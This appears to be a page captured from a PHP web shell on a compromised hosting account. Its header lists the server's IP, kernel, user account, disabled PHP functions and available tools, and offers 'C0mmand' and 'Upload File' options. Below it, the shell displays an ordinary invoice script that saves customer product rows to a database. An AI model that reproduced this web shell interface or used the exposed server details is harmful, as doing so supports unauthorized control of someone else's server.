|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/.nvm/../public_html/invoice/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'db.php'; // Replace this with your actual DB connection file
ini_set('display_errors', 1);
error_reporting(E_ALL);
header('Content-Type: application/json');
if (isset($_POST['products']) && is_array($_POST['products']) && count($_POST['products']) > 0) {
$products = $_POST['products'];
// Get the first CID from the products array to perform deletion
$cid = isset($products[0]['cid']) ? (int)$products[0]['cid'] : 0;
// Delete existing rows with the same cid
$deleteStmt = $con->prepare("DELETE FROM cus_product WHERE cid = ?");
if (!$deleteStmt) {
echo json_encode(['status' => 'error', 'message' => 'Delete prepare failed: ' . $con->error]);
exit;
}
$deleteStmt->bind_param("i", $cid);
$deleteStmt->execute();
$deleteStmt->close();
// Prepare the insert statement
$stmt = $con->prepare("INSERT INTO cus_product (cid, pid, cpnewprice, paid, bpid, pform) VALUES (?, ?, ?, ?, ?, ?)");
if (!$stmt) {
echo json_encode(['status' => 'error', 'message' => 'Insert prepare failed: ' . $con->error]);
exit;
}
foreach ($products as $product) {
$cid = isset($product['cid']) ? (int)$product['cid'] : 0;
$pid = isset($product['pid']) ? (int)$product['pid'] : 0;
$price = isset($product['price']) ? (float)$product['price'] : 0.0;
$paid = isset($product['paid']) ? (int)$product['paid'] : 0;
$bpid = isset($product['bpid']) ? (int)$product['bpid'] : 0;
$pform = isset($product['pform']) ? (int)$product['pform'] : 0;
$stmt->bind_param("iidiii", $cid, $pid, $price, $paid, $bpid, $pform);
$stmt->execute();
}
$stmt->close();
echo json_encode(['status' => 'success', 'message' => 'Products saved successfully']);
} else {
echo json_encode(['status' => 'error', 'message' => 'No products received']);
}
?>